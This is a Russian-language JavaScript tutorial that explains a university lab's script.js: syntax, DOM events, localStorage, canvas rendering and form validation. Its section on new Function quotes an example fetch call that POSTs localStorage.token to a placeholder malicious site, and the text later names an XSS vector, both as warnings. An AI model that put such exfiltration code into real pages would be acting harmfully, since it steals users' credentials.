Files
Web-Lab-1/docs/js-guide.md
T
2026-10-20 12:58:34 +03:00

40 KiB
Raw Blame History

Гайд по JavaScript на примере этого проекта

Этот гайд объясняет синтаксис JS и то, как работает именно script.js из Лабораторной №1. Всё по порядку: сначала базовый синтаксис, потом разбор проекта блок за блоком.


0. Как вообще всё запускается

В index.html в самом конце есть строка:

<script src="script.js"></script>

Это значит:

  1. Браузер читает HTML сверху вниз и строит DOM — дерево объектов из твоих тегов.
  2. Доходит до <script> в конце <body> — все теги уже существуют.
  3. Загружает script.js и выполняет его сверху вниз, как список инструкций.

Именно поэтому скрипт подключён в конце, а не в <head>: код в первой строке document.getElementById('graphCanvas') сразу ищет <canvas>, и тег обязан уже быть в DOM. Если бы <script> стоял в <head>, то canvas был бы null и всё упало бы на второй строке.

Где смотреть ошибки: F12 → вкладка Console. Там же можно писать JS руками — например, напечатай history и увидишь текущий массив истории.


1. Переменные: const, let, (и var — не используй)

const canvas = document.getElementById('graphCanvas'); // нельзя переприсвоить
let history = [];                                       // можно переприсвоить
Ключевое слово Переприсвоение Где живёт
const ❌ запрещено внутри { }, где объявлена
let ✅ разрешено внутри { }, где объявлена
var ✅ разрешено во всей функции (устаревшее, путает)

Важный нюанс, который многих ломает: const запрещает переприсвоить саму переменную, но не запрещает менять содержимое объекта или массива.

const arr = [];
arr.push(1);     // ✅ можно — массив тот же, просто внутри стало больше
arr = [1, 2];    // ❌ ошибка — пытаемся подсунуть другой массив

В проекте history объявлена через let, потому что при очистке её заменяют целиком:

history = [];   // строка 51 — вот из-за этого нужен let

⚠️ Кстати, history — неудачное имя: в браузере уже есть глобальный window.history (кнопки «назад/вперёд»). Здесь локальная переменная его перекрывает. Работает, но в своём коде лучше назвать records или hits.


2. Типы данных

В JS всего несколько базовых типов, с которыми ты тут встретишься:

const num  = 2.5;          // number — одно число на все случаи (целые и дробные)
const str  = 'Попадание';  // string — строка
const bool = true;         // boolean — true / false
const nothing = null;      // «осознанно пусто»
let notSet;                // undefined — «значение не задано»

Два особых значения, которые встречаются в коде:

  • NaN («Not a Number») — результат неудачной математики. Number('абв') даёт NaN. Проверяется только функцией isNaN(x), потому что NaN === NaN — это false.
  • null vs undefined: getElementById вернёт null, если элемента нет. undefined — если переменную объявили, но не присвоили.

Массив

Упорядоченный список. Нумерация с нуля.

const validR = [1, 2, 3, 4, 5];
validR[0];          // 1
validR.length;      // 5
validR.includes(3); // true  — «есть ли такой элемент?»

includes в проекте используется для проверки допустимых значений:

if (![1, 2, 3, 4, 5].includes(rec.r)) return false;

Объект

Набор пар «ключ: значение». Так в проекте хранится одна проверка точки:

const rec = {
    x: 1,
    y: 2.5,
    r: 3,
    hit: true,
    time: '20 октября 2026 г., 14:30:00'
};

rec.x;        // 1          — доступ через точку
rec['x'];     // 1          — то же самое, если имя ключа в переменной
rec.hit = false;            // изменение

3. Операторы и сравнения

x + y        // сложение (для строк — склейка: 'a' + 'b' === 'ab')
x * x        // умножение
x / 2        // деление
x ** 2       // возведение в степень

=== против ==

Всегда используй ===. Он сравнивает и значение, и тип.

'2' == 2    // true  — == тайно приводит типы, это источник багов
'2' === 2   // false — разные типы, честный ответ
2 === 2     // true

!== — «не равно» в строгом виде. В проекте: rec.y !== 81.

Логика

a && b     // И   — оба true
a || b     // ИЛИ — хотя бы один true
!a         // НЕ  — переворачивает

Пример из validateY — проверка, что Y вне диапазона и это не пасхалка:

if ((y < -3 || y > 5) && y !== 81) { ... }

Читается так: «если (Y меньше −3 ИЛИ больше 5) И при этом Y не равен 81». Скобки обязательны, иначе приоритет операторов даст другой смысл.

Truthy / falsy

if принимает не только true/false, а любое значение и превращает его в логическое. Falsy (считаются «ложью»): false, 0, '', null, undefined, NaN. Всё остальное — truthy.

if (!currentR) { ... }          // строка 109: «если R не выбран»

Работает потому, что currentR изначально null. Но осторожно: 0 тоже falsy. Здесь это безопасно только потому, что R всегда от 1 до 5. Будь в наборе R = 0 — код бы ошибочно считал его «не выбранным». Правильнее было бы if (currentR === null).

Тернарный оператор

Короткая запись if/else, которая возвращает значение:

условие ? значение_если_да : значение_если_нет

Из drawGraph:

const R_PIXELS = currentR ? (100 * currentR / 3) : 100;
ctx.fillStyle = rec.hit ? '#4CAF50' : '#F44336';

4. Функции

Три записи, все три есть в проекте.

Обычное объявление

function checkHit(x, y, r) {
    return true;
}

x, y, r — параметры. return отдаёт результат и немедленно выходит из функции. Такие функции «всплывают» (hoisting): их можно вызвать до строки, где они объявлены. Поэтому в проекте drawGraph() вызывается на строке 54, хотя объявлена она на 352-й — и это работает.

Параметр по умолчанию

function validateY(showErrors = false) { ... }

Если вызвать validateY() — внутри showErrors будет false. Если validateY(true) — будет true.

Это ключевая идея валидации в проекте: одна и та же функция и молча проверяет форму при каждом нажатии клавиши, и громко показывает ошибки при отправке.

Стрелочная функция

() => { ... }                 // без аргументов
(x, y, r) => func(x, y, r, r) // короткая форма: return подразумевается
btn => btn.value              // один аргумент — скобки можно опустить

Короткая форма без { } возвращает результат выражения автоматически. Эти две записи идентичны:

(a, b) => a + b
(a, b) => { return a + b; }

Стрелочные функции в проекте используются там, где функция передаётся куда-то как аргумент — в обработчики событий и в forEach.


5. Поиск элементов и работа с DOM

document.getElementById('y-input')          // ОДИН элемент по id, или null
document.querySelectorAll('.r-button')      // ВСЕ по CSS-селектору
document.querySelectorAll('input[name="xval"]')  // все чекбоксы X

querySelectorAll принимает любой CSS-селектор и возвращает NodeList — похож на массив, можно перебирать forEach и брать .length.

Чтение и запись

yInput.value                  // что пользователь ввёл (всегда СТРОКА!)
cb.checked                    // true/false для чекбокса
yError.textContent = 'Ошибка' // текст внутри элемента (безопасно)
tr.innerHTML = '<td>1</td>'   // HTML внутри элемента (парсится как разметка)
submitBtn.disabled = true     // отключить кнопку
btn.getAttribute('data-val')  // прочитать любой атрибут, тоже строка

Главная ловушка: input.value — это всегда строка, даже у type="number". Поэтому в коде везде стоит преобразование:

const y = parseFloat(yInput.value.trim().replace(',', '.'));

Разбираем цепочку справа налево по порядку вызовов:

  1. .value → " 2,5 " (строка как есть)
  2. .trim() → "2,5" (убрали пробелы по краям)
  3. .replace(',', '.') → "2.5" (русская запятая → точка, JS понимает только точку)
  4. parseFloat(...) → 2.5 (число)

Это цепочка методов: каждый возвращает новое значение, у которого сразу вызывается следующий метод.

parseFloat vs Number

Number('2.5abc')      // NaN         — строгий, вся строка должна быть числом
parseFloat('2.5abc')  // 2.5         — читает с начала, пока получается
Number('')            // 0 (!)       — коварно

В validateY стоит Number, потому что там нужна строгость: «буквы недопустимы». А после успешной валидации уже можно parseFloat — значение проверено.

Классы и стили

btn.classList.add('active');     // добавить CSS-класс
btn.classList.remove('active');  // убрать

CSS в index.html уже описывает, как выглядит .r-button.active (серый фон, белый текст). JS только переключает класс — внешний вид остаётся в CSS. Это правильный подход: не трогать стили из JS напрямую.


6. Циклы и перебор

forEach — основной инструмент проекта

rButtons.forEach(btn => {
    // здесь btn — каждая кнопка по очереди
});

forEach принимает функцию и вызывает её для каждого элемента. Ничего не возвращает — используется ради побочных действий (навесить обработчик, нарисовать точку, положить запись в массив).

filter — отбор

history = rawData.filter(rec => {
    if (typeof rec !== 'object') return false;  // выбросить
    return true;                                 // оставить
});

Возвращает новый массив только из тех элементов, для которых функция вернула truthy. Исходный массив не меняется.

Обычный for — когда нужны индексы

В drawGraph рисование пользовательской функции идёт попиксельно, и нужны именно номера пикселей:

for (let py = 0; py < height; py++) {
    for (let px = 0; px < width; px++) {
        // ...
    }
}

Три части: let py = 0 — старт; py < height — условие продолжения; py++ — шаг (py++ это то же, что py = py + 1).

Вложенный цикл = 300 × 300 = 90 000 итераций на каждую перерисовку.

Spread ... — копия массива

[...history].reverse()

reverse() переворачивает массив на месте, портя оригинал. [...history] сначала создаёт поверхностную копию, и переворачивается уже она. Так таблица показывает новые записи сверху, а сам history остаётся в порядке добавления — что важно, потому что именно в этом порядке он уходит в localStorage.


7. События — как код реагирует на пользователя

Весь интерактив строится на одной конструкции:

элемент.addEventListener('событие', функция);

«Когда на этом элементе случится такое событие — вызови эту функцию».

Какие события используются в проекте:

Событие Где Когда срабатывает
DOMContentLoaded window, стр. 47 HTML разобран, DOM готов
click кнопки R, «Отрисовать», «Очистить» нажатие
change чекбоксы X галочка поставлена/снята
input поля Y и функции каждый введённый символ
submit <form> отправка формы

Разбор обработчика кнопок R (строки 62–74)

rButtons.forEach(btn => {
    btn.addEventListener('click', () => {
        rButtons.forEach(b => b.classList.remove('active')); // снять выделение со всех
        btn.classList.add('active');                          // выделить нажатую
        rHidden.value = btn.getAttribute('data-val');          // записать в скрытое поле
        currentR = parseFloat(rHidden.value);                  // и в переменную как число
        if (formSubmitted) rError.textContent = '';            // стереть старую ошибку
        validateForm();
        drawGraph();
    });
});

Здесь два уровня вложенности, и это стоит понять:

  • Внешний forEach выполняется один раз при загрузке и навешивает обработчик на каждую из 5 кнопок.
  • Внутренняя стрелочная функция выполняется позже, при каждом клике.

Внутренняя функция «помнит» переменную btn своей кнопки, хотя внешний цикл давно закончился. Это называется замыкание (closure) — функция сохраняет доступ к переменным того места, где была создана. Работает это потому, что btn объявлена через let/параметр: у каждой итерации своя копия. С var все пять обработчиков ссылались бы на одну переменную и ломались — классический баг.

submit и preventDefault

form.addEventListener('submit', (e) => {
    e.preventDefault();
    // ...
});

e — объект события, браузер передаёт его автоматически. e.preventDefault() отменяет стандартное поведение: по умолчанию форма перезагрузила бы страницу и всё состояние потерялось бы. Без этой строки приложение не работало бы вообще.


8. try / catch — работа с тем, что может сломаться

try {
    const rawData = JSON.parse(localStorage.getItem(STORAGE_KEY));
    // ...
} catch (e) {
    history = [];
}

Логика: «попробуй выполнить блок try; если внутри произойдёт ошибка — не падай, а перейди в catch». e — объект ошибки, у него есть e.message с текстом.

Ошибку можно создать самому:

throw new Error('Недопустимые символы в функции');

throw прерывает функцию и «выбрасывает» ошибку наружу, где её поймает ближайший catch. Так устроен parseFunction: он не возвращает код ошибки, а бросает исключение, а вызывающий код решает, что делать:

try {
    customFunction = parseFunction(funcStr);
    funcError.textContent = '';
    drawGraph();
} catch (e) {
    funcError.textContent = e.message;  // показать текст пользователю
    customFunction = null;
}

9. localStorage — сохранение между перезагрузками

Хранилище «ключ → значение» в браузере. Живёт после закрытия страницы. Хранит только строки.

localStorage.setItem('key', 'строка');
localStorage.getItem('key');     // строка или null, если ключа нет
localStorage.removeItem('key');

Чтобы положить массив объектов, его сериализуют в JSON:

localStorage.setItem(STORAGE_KEY, JSON.stringify(history)); // объект → строка
const data = JSON.parse(localStorage.getItem(STORAGE_KEY)); // строка → объект

JSON.parse бросает ошибку на испорченной строке — поэтому он обёрнут в try/catch.

Почему данные перепроверяются

history = rawData.filter(rec => {
    if (typeof rec !== 'object' || rec === null) return false;
    if (![1, 2, 3, 4, 5].includes(rec.r)) return false;
    // ...
});

localStorage открыт пользователю: любой может зайти в DevTools и записать туда что угодно. Данные оттуда — недоверенный ввод, ровно как данные с сервера. Поэтому каждая запись проверяется по полям, а битые выбрасываются. Это правильная привычка, не паранойя.

Здесь же проявляется typeof:

typeof 5          // 'number'
typeof 'текст'    // 'string'
typeof {}         // 'object'
typeof null       // 'object'  ← историческая ошибка языка!

Из-за последней строки проверка написана как typeof rec !== 'object' || rec === null — одного typeof не хватает.


10. Canvas — рисование графика

<canvas> — холст пикселей. Из JS берётся «контекст» — объект с командами рисования:

const ctx = canvas.getContext('2d');

Система координат

Начало координат canvas — левый верхний угол, ось Y направлена вниз. Математическая ось Y смотрит вверх. Отсюда вся арифметика перевода:

const center = width / 2;                        // 150 — центр холста
let drawX = center + (rec.x / rec.r) * R_PIXELS; // + : вправо = плюс
let drawY = center - (rec.y / rec.r) * R_PIXELS; // − : вверх = МИНУС в пикселях

Деление на rec.r нормализует точку: точка (2, 2) при R = 2 и точка (5, 5) при R = 5 нарисуются в одном месте, потому что относительно своего R они одинаковы.

Основные команды

ctx.clearRect(0, 0, width, height);        // стереть всё
ctx.fillStyle = '#3399FF';                 // цвет заливки
ctx.fillRect(x, y, ширина, высота);        // залитый прямоугольник

ctx.beginPath();                            // начать новый контур
ctx.moveTo(x, y);                           // перенести «перо» без линии
ctx.lineTo(x, y);                           // линия до точки
ctx.arc(x, y, радиус, отУгла, доУгла);      // дуга, углы в РАДИАНАХ
ctx.closePath();                            // замкнуть контур
ctx.fill();                                 // залить
ctx.strokeStyle = '#000';                   // цвет линии
ctx.stroke();                               // обвести

ctx.font = '12px Arial';
ctx.fillText('R', x, y);                    // текст

Ключевая идея: beginPath() → набор moveTo/lineTo/arc → fill() или stroke(). Без beginPath() новые линии дорисуются к старому контуру и зальются вместе с ним — очень частый баг.

Четверть круга:

ctx.arc(center, center, R_PIXELS, -Math.PI / 2, 0, false);

Углы в радианах: -Math.PI / 2 = −90° (верх), 0 = 0° (право). Вместе с moveTo(center, center) и closePath() получается сектор, а не просто дуга.

Попиксельная отрисовка пользовательской функции

Фигуры варианта (прямоугольник, сектор, треугольник) можно нарисовать готовыми командами. Произвольную функцию — нельзя, её форма неизвестна. Поэтому код проверяет каждый пиксель отдельно:

const imageData = ctx.createImageData(width, height);
const data = imageData.data;   // плоский массив длиной width*height*4

for (let py = 0; py < height; py++) {
    for (let px = 0; px < width; px++) {
        const x = ((px - center) / R_PIXELS) * currentR;  // пиксель → математика
        const y = ((center - py) / R_PIXELS) * currentR;

        const hit = checkHit(x, y, currentR);

        const index = (py * width + px) * 4;  // позиция пикселя в плоском массиве
        if (hit) {
            data[index]     = 51;   // R
            data[index + 1] = 153;  // G
            data[index + 2] = 255;  // B
            data[index + 3] = 255;  // Alpha (прозрачность)
        } else {
            data[index] = 255; data[index + 1] = 255;
            data[index + 2] = 255; data[index + 3] = 255;
        }
    }
}
ctx.putImageData(imageData, 0, 0);  // вывести на холст одним разом

data — одномерный массив, где каждый пиксель занимает 4 ячейки (RGBA). Формула (py * width + px) * 4 переводит двумерные координаты в плоский индекс: «пропустить py полных строк, потом px пикселей, умножить на 4 байта».


11. new Function — и почему это опасно

const func = new Function('x', 'y', 'r', 'R', `return ${normalized};`);

Это создание функции из строки во время работы программы. Первые аргументы — имена параметров, последний — тело.

Здесь же используется шаблонная строка — обратные кавычки ` с подстановкой ${выражение}:

const name = 'мир';
`Привет, ${name}!`     // 'Привет, мир!'

В renderHistory тем же приёмом собирается строка HTML на несколько строк — обычные кавычки так не умеют.

В чём опасность

new Function исполняет произвольный код — как eval. Строка fetch('http://злой.сайт', {method:'POST', body: localStorage.token}) была бы выполнена браузером. В проекте перед этим стоит защита:

const allowedChars = /^[xyrRMathabsincoqrt.()+\-*/<>=\s\d.]+$/;
if (!allowedChars.test(normalized)) {
    throw new Error('Недопустимые символы в функции');
}

Это регулярное выражение (regex) — шаблон для проверки строк:

  • /.../ — границы регулярки
  • ^ — начало строки, $ — конец (значит, проверяется строка целиком)
  • [...] — набор разрешённых символов
  • \d — любая цифра, \s — пробел
  • + — «один или больше таких символов»
  • \-, \*, \/ — экранирование: символы со спецсмыслом помечаются \
  • .test(строка) → true / false

Перед этим идёт нормализация — человеческая запись переводится в JS:

const normalized = funcStr.trim()
    .replace(/abs\(/g, 'Math.abs(')   // abs( → Math.abs(
    .replace(/sin\(/g, 'Math.sin(')
    .replace(/\^/g, '**');            // ^ → ** (степень в JS)

Флаг g (global) в /abs\(/g означает «заменить все вхождения», а не только первое.

Потом функция проверяется пробным вызовом, чтобы синтаксическая ошибка вылезла сразу, а не при отрисовке:

func(0, 0, 1, 1);
return (x, y, r) => func(x, y, r, r);  // обёртка: r и R — одно и то же

Последняя строка — функция, которая возвращает функцию. Снаружи удобно звать customFunction(x, y, r) тремя аргументами, а внутри r подставляется дважды, чтобы работали оба написания — и r, и R.

⚠️ Честно про эту защиту: белый список символов узкий, но не идеальный — набор [xyrRMathabsincoqrt] разрешает любые комбинации этих букв. Для лабораторной работы, которая крутится только в твоём браузере, это нормально. На настоящем сайте с чужим вводом так делать нельзя — нужен настоящий парсер математических выражений.


12. Как устроена вся логика проекта

Глобальное состояние

Четыре переменные держат всё, что программа «знает» о текущем моменте:

let history = [];            // массив всех проверок
let currentR = null;         // выбранный R, null пока не выбран
let formSubmitted = false;   // была ли хоть одна отправка
let customFunction = null;   // активная пользовательская функция

formSubmitted решает тонкую задачу UX: ошибки нельзя показывать пользователю, который ещё ничего не отправлял — иначе пустая форма сразу краснеет. Но после первой отправки ошибки уже показаны, и их надо гасить при правке поля:

yInput.addEventListener('input', () => {
    if (formSubmitted) yError.textContent = '';
    validateForm();
});

Валидация: один набор правил, два режима

validateForm(showErrors)
    ├── validateY(showErrors)         → Y заполнен, число, в диапазоне
    ├── validateFunction(showErrors)  → функция парсится (пустая = ок)
    ├── проверка R                     → выбран и из списка [1..5]
    ├── проверка X                     → хотя бы один и все из списка
    └── submitBtn.disabled = !isValid

Вызывается в двух режимах:

  • validateForm() — после каждого действия. Молча включает/выключает кнопку.
  • validateForm(true) — при отправке. Пишет текст ошибок в <span class="error">.

Паттерн «накопления» флага внутри:

let isValid = true;
if (!validateY(showErrors)) isValid = false;
if (!validateFunction(showErrors)) isValid = false;

Так проверяются все поля и показываются все ошибки сразу. Если бы вместо этого стоял return false на первой же ошибке, пользователь видел бы их по одной — хуже.

Отдельно стоит заметить двойную проверку R и X: сначала «выбрано ли», потом «допустимо ли значение». Второе — защита от подмены: data-val и value в HTML можно отредактировать через DevTools, поэтому значения сверяются с белым списком в JS.

Проверка попадания

function checkHit(x, y, r) {
    if (customFunction) { /* пользовательская функция вместо фигур */ }

    if (x >= 0 && y >= 0) return (x*x + y*y) <= (r*r);  // I: четверть круга
    if (x <= 0 && y >= 0) return x >= -r && y <= (r/2); // II: прямоугольник
    if (x <= 0 && y <= 0) return false;                 // III: пусто
    if (x >= 0 && y <= 0) return y >= (x/2) - (r/2);    // IV: треугольник
    return false;
}

Здесь важен порядок: return выходит сразу, поэтому if работают как else if. Точка (0, 0) попадает в первое же условие и дальше не идёт — границы четвертей не конфликтуют именно из-за раннего выхода.

Треугольник: прямая через (r, 0) и (0, -r/2) имеет уравнение y = x/2 - r/2. Точка внутри, если она выше этой прямой: y >= x/2 - r/2.

Одна и та же checkHit используется и для таблицы, и для попиксельной отрисовки. Поэтому график всегда совпадает с результатами — нет двух независимых реализаций, которые могли бы разойтись. Это главная архитектурная идея проекта: правило живёт в одном месте.

Полный поток при отправке формы

1. e.preventDefault()               — не перезагружать страницу
2. formSubmitted = true
3. validateForm(true)               — не прошло → выход
4. y === 81?                        — пасхалка: показать картинку, выход
5. parseFunction(funcStr)           — обновить customFunction
6. new Date().toLocaleString(...)   — метка времени, одна на всю отправку
7. по каждому отмеченному X:
       checkHit(x, y, r) → history.push({x, y, r, hit, time})
8. localStorage.setItem(...)        — сохранить
9. renderHistory()                  — перерисовать таблицу
10. drawGraph()                     — перерисовать график

Пункт 7 — причина, по которой чекбоксы, а не радиокнопки: один submit может создать до девяти записей сразу, по одной на каждый отмеченный X.

Дата и время

new Date().toLocaleString("ru-RU", {
    timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone,
    year: 'numeric', month: 'long', day: 'numeric',
    hour: '2-digit', minute: '2-digit', second: '2-digit'
});

new Date() — текущий момент. toLocaleString форматирует его по правилам локали: "ru-RU" даёт «20 октября 2026 г.», а не «10/20/2026». Intl.DateTimeFormat().resolvedOptions().timeZone достаёт часовой пояс пользователя — цепочка вызовов, где каждый шаг возвращает объект для следующего.

Рендер таблицы

function renderHistory() {
    resultsBody.innerHTML = '';                 // стереть всё
    [...history].reverse().forEach(rec => {
        const tr = document.createElement('tr'); // создать <tr>
        tr.innerHTML = `
            <td>${rec.x}</td>
            ...
        `;
        resultsBody.appendChild(tr);             // вставить в DOM
    });
}

Стратегия простая: «стереть всё и нарисовать заново». Для сотни строк это абсолютно нормально и гораздо понятнее, чем точечные обновления.

⚠️ innerHTML с подстановкой данных — потенциальная XSS-уязвимость: если бы в rec.x попала строка <img onerror=...>, браузер её исполнил бы. Здесь безопасно, потому что все поля прошли фильтр и гарантированно числа. Для текстовых данных нужен textContent, который ничего не парсит.


13. Что попробовать прямо сейчас

Открой страницу, нажми F12 → Console и поэкспериментируй:

history                           // текущий массив проверок
history.length                    // сколько записей
currentR                          // выбранный R
checkHit(1, 1, 3)                 // проверить точку руками
checkHit(0, 0, 1)                 // граница — попадает?

currentR = 5; drawGraph();        // поменять R «мимо» кнопок
localStorage.getItem('web_lab1_history')   // что лежит в хранилище

document.querySelectorAll('.r-button').length   // 5
document.getElementById('y-input').value = '2'  // вписать Y из консоли

Полезные упражнения для понимания:

  1. Закомментируй e.preventDefault() в обработчике submit — посмотри, что страница перезагружается и всё состояние теряется.
  2. Поменяй if (formSubmitted) на if (true) в обработчике input поля Y — увидишь, зачем нужен этот флаг.
  3. Введи в поле функции x^2 + y^2 < R^2 и нажми «Отрисовать» — увидишь попиксельную отрисовку круга.
  4. Запиши в localStorage мусор через DevTools (Application → Local Storage) и перезагрузи — фильтр должен его отбросить, а страница не упасть.

14. Шпаргалка

// Переменные
const x = 1;  let y = 2;

// Условия
if (a === b) { } else if (c) { } else { }
const r = cond ? 'да' : 'нет';

// Функции
function f(a, b = 0) { return a + b; }
const g = (a) => a * 2;

// Массивы
arr.push(x);  arr.length;  arr.includes(x);
arr.forEach(el => { });  arr.filter(el => cond);  [...arr];

// Объекты
const o = { key: 'val' };  o.key;  o.key = 'new';

// DOM
document.getElementById('id');
document.querySelectorAll('.class');
el.value;  el.checked;  el.textContent;  el.innerHTML;
el.classList.add('x');  el.classList.remove('x');
el.addEventListener('click', () => { });

// Строки → числа
parseFloat('2.5');  Number('2.5');  isNaN(x);
str.trim();  str.replace(',', '.');

// Ошибки
try { } catch (e) { e.message }
throw new Error('текст');

// Хранилище
localStorage.setItem(k, JSON.stringify(v));
JSON.parse(localStorage.getItem(k));

// Шаблонные строки
`значение: ${x}`

Ссылки